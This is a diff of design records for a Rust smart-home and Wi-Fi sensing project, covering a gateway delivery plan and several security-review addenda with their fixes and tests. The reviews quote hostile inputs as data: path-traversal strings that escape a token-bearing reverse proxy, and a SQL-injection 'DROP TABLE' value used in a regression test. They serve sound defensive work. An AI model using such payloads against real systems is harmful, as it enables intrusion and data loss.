- **Config:** `HOMECORE_CALIBRATION_URL`, SEED registry store path, per-proxy timeout (default 2 s), `HOMECORE_UI_DEMO` (dev fixture). No browser CORS needed (same origin); gateway→upstream is server-to-server.
|
||||
|
||||
### 11.11 Front-end changes
|
||||
|
||||
`api.js`: drop the mock fallback from the production path — methods call the §11.2 gateway routes; `this.base` stays same-origin; the mock layer is reachable only under `?demo=1`/`HOMECORE_UI_DEMO`. Every panel renders a **typed empty/error state** (not mock) when its route returns `503/504`. `mock.js` moves to a dev fixture (kept for the offline test harness, excluded from the production bundle). The §10 frontend tests are re-pointed at the gateway contract (and gain contract tests per §11.2 route).
|
||||
|
||||
---
|
||||
|
||||
## 12. Delivery plan to full functionality
|
||||
|
||||
Staged so each wave is independently shippable behind the gateway, lands real data for a coherent set of panels, and has an explicit acceptance gate. "Class" reuses §11's tags.
|
||||
|
||||
| Wave | Scope | Class | Acceptance gate |
|
||||
|---|---|---|---|
|
||||
| **W1 — Gateway foundation** | `/api/homecore/*` scaffold in `homecore-server`; auth passthrough; per-proxy timeout + typed errors; `api.js` base + remove prod mock (`?demo=1` only); panels get typed empty/error states | NEW-GW | Entities + live WS still green; with no upstreams, every other panel shows "upstream unavailable", **never** mock (unless `?demo=1`); Rust + JS suites pass |
|
||||
| **W2 — Rooms + Calibration** | `/api/cal/*` reverse-proxy; `GET /api/homecore/rooms` with the §11.3 RoomState adapter + room registry; wire §4.5 + the §4.7 wizard to real endpoints; delete the in-browser calibration stub | EXISTS (proxy+adapter) | Against a running `calibrate-serve` (replayed CSI), the wizard drives a real baseline→enroll→train→verify and §4.5 shows real `RoomState` with correct stale/veto/null mapping; contract test on the adapter |
|
||||
| **W3 — Events + Automations** | `GET /api/events` over `homecore-recorder`; `/api/homecore/automations` over `homecore-automation` | NEW-API | §4.8 history loads from recorder; an automation created in the UI persists and fires via the engine |
|
||||
| **W4 — COG management** | `/api/homecore/cogs*` supervisor over `/var/lib/cognitum/apps/` (manifest + pid + sig verify + logs + config) | NEW-GW | §4.6 lists real installed COGs; start/stop/restart works; sha256/signature shield reflects real verification; logs tail |
|
||||
| **W5 — SEED tier** | SEED registry + pairing; `/api/homecore/seeds*` device proxy; witness merge + privacy control; ESP32 provisioning | SEED-DEV | Against a real or emulated SEED API, §4.2/§4.3/§4.9/§4.10 show real vector-store/witness/sensor/reflex/cognition data; SEED tokens stay server-side; offline SEED → red tint, not a failed page |
|
||||
| **W6 — Appliance + federation + Hailo** | `/api/homecore/appliance` (host metrics + service probes); `/api/homecore/hailo`; `/api/homecore/federation` ([ADR-105](ADR-105-federated-csi-training.md)) | NEW-GW + APPLIANCE | §4.1 health is real; §4.6 Hailo HEF/throughput real; §4.3 federation round/coordinator/Krum real |
|
||||
|
||||
**Definition of done (full functionality):** with W1–W6 merged and the upstream tiers running, loading `/homecore` with **no** `?demo=1` flag shows live data on all ten panels, `api.anyDemo()` is false, and no panel renders fabricated values. Panels whose tier is offline show typed empty/error states. The mock layer is reachable only as the `?demo=1` developer fixture.
|
||||
|
||||
### 12.1 Wave status (this revision)
|
||||
|
||||
| Wave | Status |
|
||||
|---|---|
|
||||
| **W1 — Gateway foundation** | ✅ DONE — `gateway.rs`, auth passthrough, typed `503/504`, merged into `build_app`; front-end mock removed from prod path + `?demo=1` fixture; typed error states. **Compiled + 12/12 Rust tests + JS suite green + run live.** |
|
||||
| **W2 — Rooms + Calibration** | ✅ DONE — `/api/cal/*` reverse-proxy + `GET /api/homecore/rooms` RoomState adapter; front-end calibration stub deleted (now proxies the real API). **Proven live against a calibration upstream** (proxy 200 + adapted shape); null-preservation unit-tested. |
|
||||
| **W3 — Events + Automations** | ⏳ gateway returns typed `503` (recorder/automation HTTP wrappers pending); front-end handles it gracefully (history note, builder still usable). |
|
||||
| **W4 — COG management** | ✅ supervisor DONE — lists `/var/lib/cognitum/apps/` manifests + pid liveness (returns `[]` live with no apps dir); start/stop/log/config control is the remaining follow-up. |
|
||||
| **W5 — SEED tier** | ⏳ gateway returns typed `503` (SEED registry + device proxy pending real/emulated SEED hardware). |
|
||||
| **W6 — Appliance + federation + Hailo** | ◑ appliance host metrics from `/proc` + port probes DONE (live `/proc` data verified); Hailo stats + federation remain `503` (need the accelerator stat source / coordinator). |
|
||||
|
||||
**Status:** the gateway is **compiled and tested on Rust 1.89** (`cargo test -p homecore-server` = 12/12) and was **run live** (curl proof in §10). The one remaining caveat is intrinsic, not an environment limit: **W3/W5/W6-Hailo/federation depend on services/hardware that are not in this repo** (recorder/automation HTTP wrappers, real SEED nodes, the Hailo stat source), so they return honest typed `503`s and the UI shows error states — exactly as §2.2/§11.2 prescribe. W1/W2/W4/W6-appliance are functional now.
|
||||
|
||||
### 12.2 Security review (PR #1082)
|
||||
|
||||
A high-effort public-PR review of the merged gateway + front-end surfaced the following, all fixed and pinned by tests (`cargo test -p homecore-server` is now **18/18**):
|
||||
|
||||
| # | Severity | Finding | Fix |
|
||||
|---|---|---|---|
|
||||
| 1 | **HIGH** | **Path-traversal / confused-deputy SSRF** in the `/api/cal/*` reverse-proxy. The wildcard path was interpolated into the upstream URL while `proxy()` attaches the privileged server-side calibration bearer, so `/api/cal/v1/../../x` (or `..%2f`, `%2e%2e`, leading `/`, `\`, double-encoded `%252e`) could escape the `…/api/` scope **with the token**. | `validate_proxy_path()` decode-then-checks and rejects absolute / backslash / dot-segment / encoded-traversal paths with a typed **400 before the URL is built** (GET **and** POST); legit `v1/...` paths still pass. |
|
||||
| 2 | Correctness | **CORS + tracing didn't cover gateway routes** — `/api/homecore/*` + `/api/cal/*` were `.merge()`d outside `homecore-api::router()`'s layers. | The audited HC-05 `build_cors_layer()` + `TraceLayer` are now applied to the whole merged app in `main.rs`. |
|
||||
| 3 | Honesty (§6) | **Fabricated data** — hardcoded `anomaly.threshold: 0.5` in the adapter; dashboard rendered `"null%"`/`"null°C"`; COG Hailo pill hardcoded `"connected"`; `rooms.js` defaulted a null threshold to `0.8`. | Threshold passes through the real upstream value or emits `null` (withheld); dashboard renders `—`; the Hailo pill reflects the real appliance probe; the UI treats a null threshold as withheld. |
|
||||
| 4 | Robustness | A string `hef` (forwarded verbatim) threw on `.forEach`/`.join`; `frames/target` could be `NaN%`/`Infinity%`; calibration Restart leaked the baseline `setTimeout` poll. | `asArray()` coercion; `target > 0` guard; cancellable poll cleared on Restart / panel teardown. |
|
||||
| 5 | Perf | Sequential per-bank RoomState fetches; blocking `std::net::TcpStream::connect_timeout` probes on an async handler; `mock.js` statically bundled. | Concurrent `futures::join_all`; async `tokio::net::TcpStream` + `timeout`; demo-only dynamic `import()` of `mock.js`. |
|
||||
|
||||
**Known limitations carried forward (not regressions):**
|
||||
- **`reqwest` rustls-only is a workspace-wide concern.** `homecore-server` opts into `rustls-tls` only, but cargo feature-unification means any sibling crate enabling the default `native-tls` re-introduces OpenSSL into the final binary. A true "no OpenSSL on the appliance" guarantee requires aligning **every** reqwest-pulling crate on rustls-only — out of scope for this PR; documented at the dependency in `Cargo.toml`.
|
||||
- **DEV-mode auth.** When `HOMECORE_TOKENS` is unset, the token store falls back to `allow_any_non_empty()` (any non-empty bearer accepted) on `0.0.0.0`. This is pre-existing and intentionally **unchanged** here; the loud boot `warn!` is retained. Provision real tokens (`HOMECORE_TOKENS=…`) before exposing the server to a network.
|
||||
@@ -120,6 +120,42 @@ tested; P3 is planned.
|
||||
HOMECORE-API (ADR-130, P3); automation conditions on historical state are
|
||||
HOMECORE-automation (ADR-129, P3).
|
||||
|
||||
## 3a. Security review (2026-06, post-ADR-154–159 sweep)
|
||||
|
||||
A beyond-SOTA security review of `homecore-recorder` covered SQL injection, retention/purge
|
||||
correctness, fail-closed write integrity, semantic-store NaN poisoning, and PII exposure.
|
||||
|
||||
**Confirmed clean (with evidence):**
|
||||
|
||||
- **SQL injection — clean.** Every query in `db.rs` uses bound `?` parameters; no user- or
|
||||
entity-influenceable value is interpolated into SQL via `format!`/concatenation. The only
|
||||
`format!` builds the `LIKE` *pattern* string, which is itself **bound** as a parameter with
|
||||
`ESCAPE '\\'` and `% _ \` escaping — so a metacharacter payload is matched literally. Pinned
|
||||
by `malicious_entity_id_is_stored_literally_not_executed` (a `'; DROP TABLE states; --` state
|
||||
value leaves the table intact and round-trips verbatim) and
|
||||
`like_metacharacters_in_query_are_literal_not_wildcards`.
|
||||
- **NaN-index poisoning — structurally impossible.** Embeddings are SHA-256 → `i32` →
|
||||
`f32`; an `i32`→`f32` cast is always finite (never NaN/Inf), and an all-zero-digest is
|
||||
guarded by the `norm > 1e-10` check. Empty-index search, empty-string query, and `k=0` were
|
||||
probed and all return `Ok(0)` with no panic. (Unlike the calibration/vitals/geo paths, no raw
|
||||
sensor float ever reaches the index.)
|
||||
- **Fail-closed writes.** A removal event returns `Ok(None)`; semantic-index failure is logged,
|
||||
not propagated, so it never blocks the durable SQLite write; `EntityId` parse failure falls
|
||||
back to a sentinel rather than panicking.
|
||||
|
||||
**Fixed (real bounding bugs):**
|
||||
|
||||
- **Memory-DoS — `get_state_history` was unbounded.** No `LIMIT`, so a wide time window over a
|
||||
high-frequency entity loaded an unbounded row set into memory. Now capped at
|
||||
`MAX_HISTORY_ROWS` (1,000,000); sibling search paths were already `k`-bounded.
|
||||
- **Disk-DoS / documented-but-missing `purge`.** The README advertised `Recorder::purge`, but
|
||||
no retention path existed → unbounded disk growth. Added a **transactional** `purge(older_than)`
|
||||
with an **exclusive** cutoff (idempotent, no off-by-one) that deletes old `states`/`events` and
|
||||
GCs orphaned `state_attributes` blobs (dedup-shared blobs kept until their last referrer is gone).
|
||||
|
||||
`homecore-recorder` tests: 19 → 25 (`--no-default-features`) / 25 → 31 (`--features ruvector`),
|
||||
0 failed. Python deterministic proof unchanged (recorder is off the signal proof path).
|
||||
|
||||
## 4. Links
|
||||
|
||||
- Crate: `v2/crates/homecore-recorder/` — `Cargo.toml`, `README.md`, `src/lib.rs`,
|
||||
|
||||
@@ -174,3 +174,71 @@ vs. an in-memory array at compile time), which intersects with ADR-084 (RabitQ)
|
||||
| **P1** (this ADR) | `intent`, `recognizer` (regex), `handler` (5 built-ins), `runner` (trait + noop), `pipeline` (end-to-end wiring), 10–15 tests |
|
||||
| **P2** | Real `tokio::process::Child` runner with Windows-safe teardown; `SemanticIntentRecognizer` with ruvector HNSW |
|
||||
| **P3** | STT/TTS bridge, satellite protocol, cloud fallback |
|
||||
|
||||
---
|
||||
|
||||
## 6. Security review (beyond-SOTA, untrusted-input → action path)
|
||||
|
||||
A focused security review of the Assist pipeline — `utterance → recognizer →
|
||||
intent → handler → action`, plus `RufloRunner` — treating the utterance as
|
||||
untrusted input (voice transcripts, the WebSocket `assist` command). This
|
||||
surface was not covered by the ADR-154–159 sweep.
|
||||
|
||||
### 6.1 Finding fixed — HC-ASSIST-01 (unbounded-utterance DoS, LOW)
|
||||
|
||||
Both `RegexIntentRecognizer::recognize` and the semantic `recognize_scored`
|
||||
accepted utterances of **unbounded length** and ran `to_lowercase()` (a full
|
||||
clone) + a per-registered-pattern scan (and, in the semantic path, full
|
||||
tokenisation + feature-hash embedding) before any bound — an allocation/CPU
|
||||
amplification on attacker-controlled input. The `regex` crate is **linear-time**
|
||||
(RE2-style finite automaton, no catastrophic backtracking), so this was a
|
||||
throughput/memory DoS, not a hang.
|
||||
|
||||
**Fix:** `MAX_UTTERANCE_BYTES = 4096` (far above any real spoken command),
|
||||
checked at **both** recognizer boundaries *before* any allocation/scan. An
|
||||
over-length utterance **fails closed** to `Ok(None)` — no intent, no action,
|
||||
identical to an unrecognised phrase — so it can never be coerced into firing a
|
||||
handler. Pinned by `over_length_utterance_fails_closed` (an over-length
|
||||
utterance that *contains* a valid command resolves to `None`, which would have
|
||||
matched on the old code) and `over_length_utterance_fails_closed_semantic`.
|
||||
|
||||
### 6.2 Dimensions confirmed clean (with evidence)
|
||||
|
||||
- **Command / argument injection — NO SUBPROCESS SURFACE.** The `RufloRunner`
|
||||
has exactly two impls: `NoopRunner` (no process) and `LocalRunner` (runs the
|
||||
local recognizer, no process). There is **no** `std::process` / `tokio::process`
|
||||
/ `Command` / process `.spawn()` anywhere in the crate — the trait `spawn` is
|
||||
only a `started: bool` lifecycle flag — and `RufloRunnerOpts.{script_path,env}`
|
||||
are **inert data, never consumed**. The live `node ruflo-agent.js` runner is
|
||||
genuinely data-gated/future (P2). Defence-in-depth: the `entity_id` capture
|
||||
class `[a-z_][a-z0-9_ .]*` **excludes every shell/SQL metacharacter**, so even
|
||||
when an injection-shaped utterance resolves (the regex is not exact-anchored),
|
||||
the captured slot is a clean token — sanitisation by construction. Pins:
|
||||
`shell_metachars_never_survive_into_a_resolved_slot`,
|
||||
`runner_opts_are_inert_no_process_spawned`,
|
||||
`pipeline_injection_shaped_utterance_carries_no_metachars_to_service`.
|
||||
- **ReDoS — STRUCTURALLY IMPOSSIBLE.** `regex 1.12.3` (no `fancy-regex` in the
|
||||
dependency tree) is linear-time; a classic `(a+)+$` shape on adversarial input
|
||||
completes in bounded time. Pin:
|
||||
`pathological_backtracking_pattern_completes_in_bounded_time`. Patterns are
|
||||
operator-registered, not user-supplied, in any case.
|
||||
- **NaN-poisoning — EMBEDDINGS STRUCTURALLY FINITE.** The embedding path takes
|
||||
only `&str` and produces values via FNV feature-hashing + a guarded L2
|
||||
normalise (`norm > 1e-12`); no external float input, no unguarded division, so
|
||||
a crafted utterance cannot inject NaN/Inf to poison the cosine k-NN. Cosine
|
||||
against the zero vector is a finite `0.0`; an empty index `max_by` returns
|
||||
`None` (no panic); the NaN-safe `partial_cmp().unwrap_or(Equal)` is already in
|
||||
place. Pins: `embeddings_are_structurally_finite`,
|
||||
`cosine_with_zero_vector_is_finite_not_nan`,
|
||||
`empty_utterance_against_empty_index_no_panic_no_match`.
|
||||
- **Intent confusion / fail-closed.** An unrecognised utterance → `not_understood()`
|
||||
(no service call); a recognised intent with no registered handler →
|
||||
`not_understood()`; semantic below-threshold / empty-index → regex fallback.
|
||||
No default high-privilege intent, no fail-open path.
|
||||
- **Panic-on-input.** No `unwrap`/`expect`/index reachable from a crafted
|
||||
utterance; the one `exemplars[id]` index uses an `id` from `enumerate()` over
|
||||
the append-only exemplar `Vec` (no remove API), so it is always in bounds.
|
||||
|
||||
`cargo test -p homecore-assist --no-default-features`: **29→36, 0 failed** (+7);
|
||||
default/`semantic`: **39→48, 0 failed** (+9). Python deterministic proof
|
||||
unchanged (homecore-assist is off the signal proof path).
|
||||
|
||||
@@ -495,3 +495,34 @@ Rejected. `ViewpointFusionEvent` (viewpoint/fusion.rs lines 183–219) is an int
|
||||
**Integration glue -- not yet on the live path:** emission of `CalibrationIdMismatch` / `DriftProfileConflict` / `PhaseAlignmentFailed` once `calibration_id` propagation and the phase-align convergence signal are threaded onto frames; the BFLD witness record emitted on privacy demotion.
|
||||
|
||||
**Trust contribution:** sensor *agreement made explicit* -- fusion records the evidence it relied on, and any disagreement automatically tightens the downstream privacy class.
|
||||
|
||||
---
|
||||
|
||||
## Witness Integrity Review (2026-06-14) — domain-separation fix
|
||||
|
||||
A beyond-SOTA security review of `wifi-densepose-engine` (the composition root
|
||||
that builds the §2.7 trust witness in `witness_of`) found a real **witness
|
||||
domain-separation gap**, now fixed.
|
||||
|
||||
**Finding (witness-gap, HIGH).** `witness_of` concatenated `model_version`,
|
||||
`calibration_version`, and `privacy_decision` boundary-to-boundary, and the
|
||||
variable-length `evidence` list carried no explicit count. A string straddling a
|
||||
field boundary therefore collided with a *different* trust decision —
|
||||
e.g. a per-room adapter id (ADR-150 §3.4, operator-influenceable) that absorbs
|
||||
the leading bytes of the calibration epoch (`model="…cal:00a"`, `cal="b"`)
|
||||
produces the **same** witness as `model="…"`, `cal="cal:00ab"`. Two distinct
|
||||
privacy-relevant input tuples → one witness defeats the "any privacy-relevant
|
||||
delta → different witness" guarantee this ADR's §2.7 witness exists to provide.
|
||||
|
||||
**Fix.** The witness now (a) prepends a domain tag `ruview.engine.witness.v1`,
|
||||
(b) writes an explicit 8-byte evidence count, and (c) **length-prefixes every
|
||||
field** (8-byte LE length ‖ bytes), so field framing is unambiguous regardless
|
||||
of contents. This is a witness-layout change (all prior witness bytes are
|
||||
invalidated by design); downstream consumers only assert witness *relationships*
|
||||
(`assert_ne`/`assert_eq` across runs), not absolute bytes, so nothing breaks.
|
||||
|
||||
Pinned by `witness_distinguishes_model_calibration_boundary` and
|
||||
`witness_distinguishes_evidence_model_boundary` (both fail on the old
|
||||
concatenation). Witness **determinism** was reviewed and confirmed clean: no
|
||||
HashMap iteration and no float formatting feed the hash (floats appear only in
|
||||
the `SemanticState` statement, which is outside the witness).
|
||||
|
||||
@@ -599,3 +599,53 @@ Per ADR-028/ADR-010, three rows are added to the witness log:
|
||||
**Integration glue -- not yet on the live path:** wiring the registry into `PrivacyGate` class transitions, the MQTT discovery payload, and a read-only Home Assistant diagnostic entity exposing the active mode + proof hash.
|
||||
|
||||
**Trust contribution:** the *policy spine* -- privacy posture is a tamper-evident, auditable chain rather than a checkbox; an operator's mode choice actively governs whether identity data may even exist.
|
||||
|
||||
---
|
||||
|
||||
## Privacy Monotonicity Review (2026-06-14) — confirmed clean
|
||||
|
||||
A beyond-SOTA security review of the governed-trust cycle
|
||||
(`wifi-densepose-engine::StreamingEngine::process_cycle_calibrated`) examined
|
||||
the privacy-demotion path this ADR governs. **The monotonicity invariant holds:
|
||||
demotion only ever makes the emitted class more restrictive, never less.**
|
||||
|
||||
Verification (no behaviour change, the result is a clean bill with evidence):
|
||||
|
||||
- Each cycle computes `effective_class` fresh from the active mode's
|
||||
`target_class()` (the floor) and applies at most a **single-step** demotion
|
||||
(`demote_one`, clamped at `Restricted`). There is no cross-cycle state that
|
||||
could let a permissive class overwrite a restrictive one.
|
||||
- A forced contradiction (calibration mismatch / array-geometry insufficiency /
|
||||
mesh partition risk, ADR-032) raises the class byte; a clean cycle emits
|
||||
exactly the base class.
|
||||
- Pinned by `forced_contradiction_never_relaxes_class`, a property test over
|
||||
**all five** `PrivacyMode`s asserting `effective_class.as_u8() >=
|
||||
base_class.as_u8()` (strictly greater unless already clamped at `Restricted`)
|
||||
under a forced contradiction, and `== base` on a clean cycle.
|
||||
|
||||
Fail-closed boundaries were also pinned: an empty cycle errors (no degenerate
|
||||
over-permissive output, `empty_cycle_fails_closed`) and the single-node boundary
|
||||
is characterized as a valid non-demoting mode (`single_node_cycle_is_well_formed`).
|
||||
|
||||
The related witness domain-separation fix from the same review is recorded in
|
||||
ADR-137 (the witness folds `effective_class`, so the demotion is auditable).
|
||||
## Security & Privacy Review (2026-06-14)
|
||||
|
||||
Beyond-SOTA privacy+security review of `wifi-densepose-bfld` (the crate was not in the ADR-154–159 sweep). Two real bugs fixed (each pinned by a fails-on-old test), several dimensions confirmed clean.
|
||||
|
||||
### Findings
|
||||
|
||||
| # | Severity | Site | Issue | Fix | Pinned by |
|
||||
|---|----------|------|-------|-----|-----------|
|
||||
| 1 | **privacy-bypass (HIGH)** | `pipeline.rs::process_to_frame` | The documented wire-bytes production path stamped the frame header with the active `PrivacyClass` but serialized the caller's `BfldPayload` **unchanged** via `BfldFrame::from_payload` — never routing through `PrivacyGate::demote`. A frame labeled `Anonymous`(2)/`Restricted`(3) carried the full `compressed_angle_matrix` (identity surface) + amplitude/phase + `csi_delta`. A `NetworkSink` accepts class ≥ `Derived`(1), so the identity surface could cross the node boundary despite the restrictive class byte — the byte lied about content. | Apply `PrivacyGate::demote(frame, active_class)` after construction: a same-class transition that strips the sections the class forbids; `Raw`/`Derived` keep the full payload. | `tests/pipeline_to_frame.rs::process_to_frame_at_anonymous_strips_identity_leaky_sections`, `…_in_privacy_mode_strips_amplitude_and_phase` (both FAILED pre-fix); `…_at_derived_preserves_full_payload` (over-strip guard) |
|
||||
| 2 | **PII/injection (MEDIUM)** | `mqtt_topics.rs::render_events` | `zone_activity` payload built as `format!("\"{zone}\"")` with no JSON escaping (while `ha_discovery.rs` already escapes). A zone name with `"`/`\` produced malformed/injectable JSON on the HA state topic. | `json_string_literal()` escaper mirroring `ha_discovery::push_str_field`. Value-identical for normal zone names. | `tests/mqtt_topic_routing.rs::zone_payload_escapes_json_metacharacters` (FAILED pre-fix) |
|
||||
|
||||
### Dimensions confirmed clean (with evidence)
|
||||
|
||||
- **Event-field privacy gating** — `BfldEvent::apply_privacy_gating` nulls `identity_risk_score` + `rf_signature_hash` at `Restricted`, and `serde(skip_serializing_if = "Option::is_none")` omits them entirely. `render_events`/`render_discovery_payloads` refuse class < `Anonymous` (stricter than the `sink.rs` `NetworkKind` `MIN_CLASS = Derived` — defense in depth toward less leakage). Covered by `event_privacy_gating.rs`, `mqtt_topic_routing.rs`, `ha_discovery.rs`.
|
||||
- **Witness/hash framing (the engine `witness_of` bug class)** — CLEAN. `SignatureHasher::compute` prefixes a **fixed 4-byte** `day_epoch` then a **fixed-width canonical-f32** feature block (`IdentityFeatures`: Embedding = `EMBEDDING_DIM*4`, RiskFactors = 16 B). `PrivacyAttestationProof::compute` hashes a fixed 32-byte `prev_hash` + three fixed 1-byte values. No variable-length operator-influenceable string is concatenated into any digest — no length-prefix-framing collision is possible.
|
||||
- **Fail-closed** — `payload.rs::from_bytes` rejects truncated/overflowing/trailing-byte sections (`checked_add`, bounds checks); `frame.rs::from_bytes` validates magic/version/length/CRC; `PrivacyClass::try_from` rejects unknown bytes; `identity_risk::score` maps NaN/degenerate factors → 0.0 (privacy-conservative). The `from_score(NaN) → Accept` choice is a documented, deliberate publish-aggregate-only fallback (NaN never reaches it from `score()`); risk-driven NaN cannot leak identity because identity gating is class-byte-driven, not risk-driven.
|
||||
|
||||
### Observation (not a bug)
|
||||
|
||||
The ADR-141 control plane (`PrivacyMode`/`PrivacyModeRegistry`) is **not yet wired into the emit path** — the emitter/pipeline enforce the raw `PrivacyClass` directly; the registry is exported + unit-tested but advisory. This matches the "Integration glue — not yet on the live path" status above. The class-byte enforcement (emitter + event + renderers + the now-fixed `process_to_frame`) is the live guarantee. Wiring the registry is the documented next step.
|
||||
|
||||
@@ -253,6 +253,54 @@ Validation per CLAUDE.md: `cargo test --workspace --no-default-features` green;
|
||||
|
||||
---
|
||||
|
||||
## 6. Review notes
|
||||
|
||||
### 6.1 Correctness + security review (2026-06-14)
|
||||
|
||||
Beyond-SOTA correctness+security review of `wifi-densepose-calibration` (this
|
||||
ADR's pipeline), un-covered by the ADR-154–159 sweep.
|
||||
|
||||
**Finding (FIXED) — NaN-poisoning of the feature path (numerical / fail-closed).**
|
||||
`Features::from_series` — the carrier for both live inference and training-anchor
|
||||
extraction — computed `mean`/`variance`/`motion` over the raw scalar series with
|
||||
no non-finite guard. A single `NaN`/`±inf` sample (corrupt CSI frame) yielded
|
||||
`mean=NaN, variance=NaN` and an all-`NaN` prototype embedding. Persisted into a
|
||||
`PresenceSpecialist::threshold`/`empty_mean` at train time, the `NaN` **silently
|
||||
disabled presence detection** for the bank's lifetime (every `>` / `|·|`
|
||||
comparison against `NaN` is false → always reads *absent*, confidence 0), with no
|
||||
error — and an asymmetry against the rigorously NaN-guarded `geometry_embedding`.
|
||||
Fixed at the production boundary: non-finite samples are dropped (a corrupt frame
|
||||
counts as no frame), an all-non-finite series degrades to `Features::ZERO` like
|
||||
the empty series. Value-identical for all-finite input (full-loop + extract tests
|
||||
unchanged); pinned by `non_finite_samples_do_not_poison_features` and
|
||||
`all_non_finite_series_is_zero` (both fail on the old code).
|
||||
|
||||
**Clean dimensions (evidence, no invented issues).**
|
||||
- *File/path handling:* the crate performs **zero** file/path I/O (no
|
||||
`std::fs`/`Path`/`File`/`read`/`write` in `src/`; only in-memory `serde_json`).
|
||||
Path-traversal / unbounded-read / artifact-path handling live entirely in the
|
||||
`wifi-densepose-cli` consumer (`room.rs`), outside this crate's boundary.
|
||||
- *Untrusted-load:* `SpecialistBank::from_json` shape-validates via serde
|
||||
(malformed → `CalibrationError::Serde`); banks are local-first (invariant B),
|
||||
never network-received. A well-formed bank with adversarial numerics is trusted
|
||||
as-is — acceptable under the local-first threat model; a validate-on-load
|
||||
defense-in-depth pass is a possible future hardening, not a present bug.
|
||||
- *Receipt/hash integrity:* the crate emits no hash/receipt/witness/signature, so
|
||||
the unframed-concatenation bug class (cf. the engine `witness_of` fix) is
|
||||
structurally absent.
|
||||
- *Other numerical paths:* `geometry_embedding` sanitizes every input and sweeps
|
||||
to finite; presence/restlessness/anomaly divisions are `.max(1e-3)`-guarded;
|
||||
`autocorr_dominant` guards `r0`, short signals, and empty bands; `train` rejects
|
||||
empty anchors; anomaly requires ≥2 anchors.
|
||||
|
||||
De-magicked the bare specialist threshold literals (breathing/heartbeat default
|
||||
min-scores, anomaly outlier-spread multiple + label cutoff) into named documented
|
||||
consts, value-identical, pinned by const-equality tests. Tests
|
||||
**58→62 unit + 1 integration, 0 failed**; Python deterministic proof unchanged
|
||||
(off the signal proof path).
|
||||
|
||||
---
|
||||
|
||||
## 5. Summary
|
||||
|
||||
> Big models understand the world. Small ruVector models understand *your room*.
|
||||
|
||||
@@ -231,6 +231,8 @@ Catalogued so nothing is silently dropped. Priority: **P1** correctness-adjacent
|
||||
|
||||
> **Horizon-ledger one-liner.** Milestone-0 DONE: dead CIR gate (FIXED+proved), NaN/inf adversarial bypass (FIXED+proved), divide-by-(n−1) window trio (FIXED+proved), calibration dead-branch (FIXED), PSD FFT-planner cache (MEASURED), DTW band (MEASURED). **Milestone-1 DONE (2026-06-13): all four P1 backlog items cleared — circular phase variance #1 (RESOLVED/MEASURED metric, DATA-GATED threshold), Welford n=0 guard #10 (RESOLVED/MEASURED), threshold magic-constants #9 & #13 (RESOLVED-PARTIAL/DATA-GATED — de-magicked + boundary-tested, values unchanged).** **Milestone-2 DONE (2026-06-13): bench-first P2 perf subset + missing boundary tests cleared — spectrogram per-subcarrier FFT re-plan #20 (MEASURED-HOT, 1.40–1.84×, bit-identical); attention/tomography/Kalman #5/#6/#7 (MEASURED-NULL — benched, not hot, left as-is); field_model eigendecompose #8 (MEASUREMENT-ONLY, BLAS un-buildable on this Windows host, number deferred to a BLAS box, NOT fabricated); fft_operator tolerance #14, phase-align convergence-cap #16, csi-ratio epsilon #19 (RESOLVED, tests added).** **Milestone-3 DONE (2026-06-13): the lumped §7.4 row #21–45 P3 backlog cleared, and with it residual P3 items #2/#12/#17/#18 — 22 magic constants de-magicked into named EMPIRICAL-DEFAULT consts (each pinned == prior literal) + 6 boundary/characterization tests across 11 modules; ~4 doc-only; not-real findings (unreachable attractor_drift div0, non-existent gesture thresholds, proof-path features.rs) reported + skipped, no churn; no operating value changed; workspace 3,275/0, Python proof bit-exact `f8e76f21…`.** **§7.4 deferred backlog is now FULLY CLEARED across M0–M3 — nothing silently dropped.**
|
||||
|
||||
> **Sibling-crate sweep extension (2026-06-14) — `wifi-densepose-geo` + `wifi-densepose-pointcloud`.** The ADR-154-class numerical-robustness sweep (non-finite-input-poisons-persistent-state + divide-by-zero / asin-domain / degenerate-geometry) was extended to two crates *outside* this ADR's signal scope. **Two real `geo` bugs FIXED, each fails-on-old-pinned:** `terrain.rs::parse_hgt` usize-underflow panic on empty/sub-2x2 SRTM data (`1.0/(side-1)` → panic in debug / inf `cell_size_deg` poisoning `ElevationGrid::get` in release — a truncated download / 404 HTML body reaches it; now `bail!`s when `side < 2`); `coord.rs::haversine` `asin(>1)→NaN` for near-antipodal points (`h` rounds to `1.0+4e-16`; clamped to `[0,1]`). The ±90° pole `cos(lat)=0` ENU singularity is pinned no-panic without changing the transform. **`pointcloud` is confirmed-robust (no manufactured finding):** its only persistent auto-accumulating state (`occupancy` EMA + vitals) is fed solely by the integer-rssi/`sqrt`/`atan2` parser (always finite) and is provably self-healing even under an adversarial NaN/inf `CsiFrame` (`motion_score=(NaN/100).min(1.0)→1.0`; breathing `→0→clamp(5,40)→5.0`) — pinned by `nonfinite_frame_does_not_poison_persistent_state` + degenerate-voxel-fusion no-panic tests. `geo` 9→15 lib / 8 integration; `pointcloud` 18→22; 0 failed; workspace green; Python proof bit-exact `f8e76f21…`. See CHANGELOG `[Unreleased] → Fixed`.
|
||||
|
||||
---
|
||||
|
||||
## 8. Consequences
|
||||
|
||||
@@ -265,3 +265,74 @@ Result at time of writing (all 0 failed):
|
||||
perform (B5).
|
||||
- Files kept under the 500-line guideline (`engine.rs` 462; behavioral tests
|
||||
moved to `tests/engine_behaviors.rs`).
|
||||
|
||||
## Addendum — `homecore-api` follow-up security review (beyond-SOTA pass)
|
||||
|
||||
A later network-facing review of `homecore-api` (the remote REST + WS attack
|
||||
surface) — independent of the ADR-154–159 sweep — found and fixed two real
|
||||
issues the original M7 pass (which focused on the WS auth bypass HC-WS-01, the
|
||||
reply-theater HC-WS-02, and the bin token provisioning HC-WS-08) did not catch.
|
||||
Both are LOW severity and reported at true severity.
|
||||
|
||||
### HC-API-AUTH-01 — `GET /api/` was unauthenticated (FIXED)
|
||||
|
||||
`rest::api_root` took no headers and unconditionally returned
|
||||
`200 {"message":"API running."}`, while every sibling route gates on
|
||||
`BearerAuth::from_headers`. HA's `APIStatusView` inherits `requires_auth = True`,
|
||||
so `/api/` must return **401** for a missing/wrong bearer. HA clients use the
|
||||
status route as a token-validation probe; a 200 told a bad-token client its
|
||||
token was valid and let an unauthenticated party confirm a live endpoint.
|
||||
LOW severity (the body is a static string; no entity/state data leaks).
|
||||
|
||||
**Fix:** `api_root(headers, State)` now validates the bearer like `get_config`.
|
||||
**Pinned by** (fail-on-old, `tests/server_bin_auth.rs`):
|
||||
`api_root_rejects_missing_bearer`, `api_root_rejects_wrong_bearer` (both 200→401),
|
||||
guarded by `api_root_accepts_correct_bearer` (still 200 with a valid token).
|
||||
|
||||
